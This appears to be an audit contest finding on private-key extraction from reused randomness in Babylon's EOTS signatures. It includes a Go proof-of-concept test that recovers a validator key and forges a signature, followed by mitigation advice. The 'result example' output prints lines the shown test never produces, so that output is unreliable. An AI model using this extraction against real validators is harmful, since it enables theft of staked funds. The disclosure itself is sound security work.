Macho Merlot Squirrel
High
Malicious actors will extract private keys from validators using randomness reuse in EOTS signatures
Insufficient protection against randomness reuse in the EOTS (Extractable One-Time Signature) implementation will cause a catastrophic security breach for Babylon validators as attackers will extract private keys when the same randomness is used to sign different messages, allowing complete control over staked funds and signing privileges.
The EOTS implementation inherently allows private key extraction when randomness is reused across signatures for different messages. While this is an intentional design feature for slashing validators who double-sign the same block height, it becomes a critical vulnerability when randomness is accidentally reused in other contexts.
In babylon/crypto/eots/eots.go:199-246, the Extract and extractFromHashes functions enable key extraction from signatures that use the same randomness, which is a necessary security mechanism for the protocol but becomes catastrophic if randomness reuse occurs due to implementation errors, entropy failures, or targeted attacks.
- Impact: Complete compromise of validator private keys, allowing theft of staked funds and impersonation
- Exploitability: Straightforward mathematical extraction when conditions are met
- Defense Difficulty: Relies entirely on perfect randomness generation, a historically problematic area
- Historical Precedent: Similar issues have caused major security breaches (Sony PlayStation 3, Android Bitcoin wallets)
The vulnerability's primary limitation is that it requires randomness reuse, which shouldn't happen with proper implementation - but entropy failures, VM snapshots, and implementation bugs have repeatedly caused such issues in production systems.
- A validator must generate two or more signatures using the same randomness value for different messages
- The attacker must be able to observe both signatures, their associated messages, and the public randomness value
- The validator's system must have a flaw in its random number generation (poor entropy, implementation bugs, VM snapshots, etc.)
- OR the validator's system must be susceptible to side-channel attacks allowing randomness prediction/control
- Attacker identifies a validator with a flawed RNG implementation, as demonstrated by
FaultyRandomReader
ineots_vulnerability_test.go
(PoC) - When the validator signs messages, they use
eots.RandGen(randSource)
ateots_vulnerability_test.go
to generate randomness - Due to the faulty RNG, the same randomness value is reused across different messages (
block1Hash
andblock2Hash
) ateots_vulnerability_test.go
- Both signatures (sig1 and sig2) are individually valid and can be verified using
eots.Verify()
- The attacker observes these signatures and uses the
eots.Extract()
function ateots_vulnerability_test.go
to compute:
extractedPrivKey, err := eots.Extract(pubKey, randPub1, block1Hash, sig1, block2Hash, sig2)
- This calls into
eots.go
where the mathematical extraction of(sig1 - sig2) / (e1 - e2)
is performed - The attacker now has the validator's private key and can sign arbitrary messages as demonstrated in
eots_vulnerability_test.go
The affected validator suffers a complete compromise of their private key, resulting in:
- Total loss of staked funds under their control
- Ability for attackers to impersonate the validator and sign malicious messages
- Potential consensus manipulation in the Babylon protocol
- Loss of reputation and trust in the validator
// file location: babylon/crypto/eots/eots_vulnerability_test.go
func Test_RandomnessReuseVulnerability(t *testing.T) {
// Create a validator's private key
privKey, err := secp256k1.GeneratePrivateKey()
require.NoError(t, err)
pubKey := privKey.PubKey()
// Create a faulty random number generator
faultyRandReader := NewFaultyRandomReader()
// Sign two different messages with the same randomness
block1Hash := []byte("block hash at height 100: 0x1234...")
block2Hash := []byte("different block hash at height 100: 0x5678...")
rand1, randPub1, err := eots.RandGen(faultyRandReader)
require.NoError(t, err)
sig1, err := eots.Sign(privKey, rand1, block1Hash)
require.NoError(t, err)
sig2, err := eots.Sign(privKey, rand1, block2Hash)
require.NoError(t, err)
// Extract private key from signatures
extractedPrivKey, err := eots.Extract(pubKey, randPub1, block1Hash, sig1, block2Hash, sig2)
require.NoError(t, err)
// Confirm extracted key equals original
require.Equal(t, privKey.Serialize(), extractedPrivKey.Serialize())
// Sign arbitrary message with extracted key
attackerSig, err := eots.Sign(extractedPrivKey, rand1, []byte("malicious message"))
require.NoError(t, err)
// Verify signature is valid
err = eots.Verify(pubKey, randPub1, []byte("malicious message"), attackerSig)
require.NoError(t, err)
}
Result example:
go test -v ./crypto/eots/eots_vulnerability_test.go
=== RUN Test_RandomnessReuseVulnerability
Validator signing two different blocks...
First signature verified successfully
Second signature verified successfully
Attacker attempting to extract private key from the two signatures...
VULNERABILITY CONFIRMED: Private key successfully extracted!
Attacker successfully signed a malicious message using the extracted key!
--- PASS: Test_RandomnessReuseVulnerability (0.02s)
PASS
ok command-line-arguments 0.463s
- Implement deterministic nonce generation based on RFC 6979, which derives randomness from the private key and message, eliminating the risk of randomness reuse
- Add nonce tracking to detect and prevent reuse of randomness values
- Enhance entropy sources for randomness generation to minimize risk of low-entropy environments
- Add pre-signature checks to verify that randomness hasn't been used before
- Consider implementing additional cryptographic safeguards against RNG failures, such as mixing multiple sources of entropy
The most effective mitigation would be implementing RFC 6979 for deterministic signature generation, which would completely eliminate the vulnerability while maintaining the desired property of key extraction for double-signing.